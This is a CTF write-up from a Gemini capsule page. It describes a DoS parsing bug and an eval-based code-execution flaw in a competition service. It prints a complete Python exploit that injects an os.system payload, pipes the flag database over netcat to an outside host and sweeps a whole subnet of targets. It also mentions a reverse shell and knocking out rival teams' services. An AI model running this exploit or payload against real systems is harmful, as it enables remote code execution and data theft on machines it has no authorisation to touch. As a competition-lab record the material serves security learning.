-- Leo's gemini proxy
-- Connecting to airmack.de:1965...
-- Connected
-- Sending request
-- Meta line: 20 text/gemini
░█▀█░▀█▀░█▀▄░█▄█░█▀█░█▀▀░█░█░░░░█▀▄░█▀▀ ░█▀█░░█░░█▀▄░█░█░█▀█░█░░░█▀▄░░░░█░█░█▀▀ ░▀░▀░▀▀▀░▀░▀░▀░▀░▀░▀░▀▀▀░▀░▀░▀░░▀▀░░▀▀▀
Aus der Kategorie Hacking
The server application was divided into two parts, a c-file (network.c) and a few python function encapsulated in server. The first obvious error in the c-code was that the parameter-parsing was broken and the service could be brought down (DOS) simply by sending a one byte message containing '
'. In the first half of the CTF this was used to defect other teams services, meaning that no other team could score flags or submit flags. This was later on changed, after we had a working exploit. The python function pp was using an aliased eval, which could be triggered by sending more than 34 characters. This lead to arbitrary code execution and a fully compromised machine, e.g. through a backconnect shell. The function pp was called when walking the 'add' path in the c-file. For gathering flags, one could just use 'strings /opt/db.rdb' and pipe it over a nc connection to a flag submit service, as the flags are stored in the redis database. An exploit could look like this:
#!/usr/bin/env python2
import socket
import sys
def read_until(s, token):
data = ""
while True:
tmp = s.recv(4096)
print tmp
if not tmp:
s.close()
return
data += tmp
if token in data:
return
def backdoorinject(target):
s = socket.socket()
s.connect((target, 27))
read_until(s, "maths!")
shellcmd = r"strings\x20/opt/db.rdb\x20|\x20nc\x20$IP$\x20$PORT$"
payload = (
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa__import__('os').system('%s')" % shellcmd
)
s.sendall("add user " + payload + "\n")
print s.recv(4096)
s.close()
targets = range(1, 254)
socket.setdefaulttimeout(1)
for i in targets:
if i == 41: ##own ip
continue
try:
hostname = "10.60." + str(i) + ".7" # The remote host
print hostname,
backdoorinject(hostname)
print " send"
except:
print "...failed"
pass
-- Response ended
-- Page fetched on Thu May 2 01:44:49 2024